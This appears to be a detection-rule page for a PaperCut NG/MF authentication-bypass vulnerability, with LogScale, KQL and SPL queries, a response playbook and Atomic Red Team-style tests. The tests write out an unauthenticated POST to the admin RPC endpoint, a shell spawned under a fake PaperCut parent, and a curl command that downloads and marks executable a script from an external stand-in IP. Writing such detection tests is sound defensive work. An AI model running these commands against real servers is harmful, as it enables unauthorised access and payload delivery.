Detect PaperCut NG/MF Missing Authentication for Critical Function Exploitation (CVE-2026-81578) in CrowdStrike LogScale
Detects exploitation of CVE-2026-81578, a missing-authentication-for-critical-function vulnerability (CWE-306) in PaperCut NG/MF print management software. Unauthenticated attackers reach a privileged administrative function without valid credentials, enabling configuration change, script execution, or remote code execution on the PaperCut Application Server. This CVE is listed in the CISA KEV catalog (added following the 27 Aug 2026 PaperCut security bulletin and CISA BOD 26-04), indicating confirmed in-the-wild abuse. The detection focuses on anomalous unauthenticated access to PaperCut admin/API endpoints, PaperCut server processes spawning command shells, and outbound activity from the print server, since PaperCut has historically been abused to deploy ransomware and remote-access tooling.
MITRE ATT&CK
- Tactic
- Initial Access Execution
LogScale Detection Query
#event_simpleName=ProcessRollup2
| ParentBaseFileName=/pc-app\.exe|pc-server\.exe|java\.exe/i
| ImageFileName=/\\(cmd|powershell|pwsh|net|whoami|certutil|bitsadmin|rundll32)\.exe$/i
| groupBy([ComputerName, ParentBaseFileName, FileName, CommandLine], function=count())
| sort(_count, order=desc)CrowdStrike CQL detecting the PaperCut server process (pc-app/pc-server/java) spawning command interpreters or living-off-the-land binaries, indicating post-exploitation code execution following the auth bypass.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate PaperCut server scripts or scheduled maintenance invoking system commands
- Administrator-run diagnostics on the PaperCut host
- Software deployment or backup agents parented by the Java runtime
Other platforms for CVE-2026-81578
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Unauthenticated request to PaperCut RPC/API endpoint
Expected signal: IIS/web log entry: POST /rpc/api/rest/... with no JSESSIONID cookie and a 2xx/3xx response from an unexpected source IP.
- Test 2PaperCut server process spawns command shell (Windows)
Expected signal: ProcessRollup2/Sysmon event: pc-app.exe (or java.exe) as parent of cmd.exe running whoami/hostname.
- Test 3PaperCut Java process invokes LOLBin download (Linux)
Expected signal: Process event: java/papercut-parented bash invoking curl to an external IP, followed by file creation in /tmp.
References (4)
- https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://nvd.nist.gov/vuln/detail/CVE-2026-81578
Response Playbook
Triage
- Confirm the source IP of the unauthenticated requests is external or otherwise not an approved PaperCut monitoring/Site Server host; geolocate and check threat-intel reputation.
- Inspect the PaperCut Application Server logs (server.log, admin.log) for admin actions, config changes, or 'Scripting' feature invocations that occurred without a corresponding authenticated admin login.
- Verify the running PaperCut NG/MF build against the fixed version in the 27 Aug 2026 PaperCut security bulletin to confirm the host is vulnerable.
- Review process telemetry on the PaperCut host for pc-app/pc-server/java spawning cmd.exe, powershell.exe, or shell processes around the time of the suspicious requests.
Containment
- Block inbound access to PaperCut ports 9191/9192 from untrusted networks at the firewall/WAF and restrict the admin interface to management subnets only.
- Isolate the PaperCut Application Server from the network if code execution or unauthorized admin actions are confirmed, and disable the User/Web Print and Scripting interfaces pending patching.
- Force-rotate PaperCut admin credentials and any service/integration credentials stored in PaperCut config.
Evidence Collection
- Preserve IIS/web logs, PaperCut server.log, admin.log, and the [app-path]/server/logs directory covering the exploitation window.
- Capture process creation events, command lines, and any dropped files under the PaperCut install and temp directories for forensic analysis.
- Snapshot the host (memory + disk) before remediation to retain volatile evidence of any in-memory implant.
Escalation Criteria
- !Escalate to incident response if the PaperCut server process is observed spawning shells, LOLBins, or making outbound C2/download connections.
- !Escalate if unauthorized admin configuration changes, new admin accounts, or Scripting feature abuse are confirmed in PaperCut logs.
- !Escalate to ransomware IR if lateral movement, credential dumping, or mass file encryption follows the initial access.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
PaperCut server.log and admin.log entries showing config/admin actions without a login - >
IIS/web access logs with cookieless successful requests to /rpc/api and /app endpoints - >
Child processes of pc-app.exe/pc-server.exe/java.exe and their command lines - >
Newly created files under the PaperCut install, [app-path]/server/custom, and temp directories
Tuning Guidance
Baseline legitimate cookieless traffic first: identify approved monitoring hosts, Site Server IPs, and health-check user-agents and exclude them. Tighten the hits>3 threshold to your environment's normal probe volume, and pin the detection to known PaperCut server hostnames/ports (9191/9192) to reduce noise. Where PaperCut sits behind a reverse proxy that strips cookies, correlate on process-spawn telemetry (elastic_eql / crowdstrike_cql) instead of the cookie heuristic to avoid systematic false positives.
Hunting Queries
Hunt for repeated successful unauthenticated requests to PaperCut privileged endpoints across the environment.
W3CIISLog | where csUriStem has "/rpc/api/rest" or csUriStem has "/app" | where isempty(csCookie) or csCookie !has "JSESSIONID" | where scStatus < 400 | summarize count() by cIP, csUriStem, bin(TimeGenerated, 1h) | sort by count_ descindex=web sourcetype IN ("ms:iis:auto","papercut:server") (uri_path="/rpc/api/*" OR uri_path="/app*") status<400 NOT cookie="*JSESSIONID*" | stats count values(uri_path) by src_ip | sort - countAtomic Red Team Tests
Simulates the auth-bypass by issuing a cookieless POST to a PaperCut RPC/API path in a lab.
Command
curl -sk -X POST 'https://papercut-lab.internal:9192/rpc/api/rest/internal/deviceservices/getStatus' -H 'Content-Type: application/json' -d '{}' -o /tmp/pc_resp.jsonCleanup
rm -f /tmp/pc_resp.jsonExpected Telemetry
IIS/web log entry: POST /rpc/api/rest/... with no JSESSIONID cookie and a 2xx/3xx response from an unexpected source IP.
Expected Detection
kql / spl / qradar_aql / sumo_logic / chronicle_yaral rules fire on the cookieless successful request to a PaperCut privileged endpoint.
Simulates post-exploitation code execution by having a stand-in PaperCut parent process launch a shell.
Command
$p = Start-Process -FilePath 'C:\Program Files\PaperCut MF\server\bin\win\pc-app.exe' -ArgumentList '-cmd' -PassThru -ErrorAction SilentlyContinue; cmd.exe /c "whoami & hostname"Cleanup
Stop-Process -Name pc-app -ErrorAction SilentlyContinueExpected Telemetry
ProcessRollup2/Sysmon event: pc-app.exe (or java.exe) as parent of cmd.exe running whoami/hostname.
Expected Detection
elastic_eql and crowdstrike_cql rules fire on the PaperCut process spawning a command interpreter.
Simulates an attacker using the PaperCut Java runtime to pull down tooling after the auth bypass.
Command
sudo -u papercut bash -c "curl -s http://198.51.100.10/tool.sh -o /tmp/tool.sh && chmod +x /tmp/tool.sh"Cleanup
rm -f /tmp/tool.shExpected Telemetry
Process event: java/papercut-parented bash invoking curl to an external IP, followed by file creation in /tmp.
Expected Detection
elastic_eql / crowdstrike_cql detect the PaperCut server process spawning a shell and outbound download utility.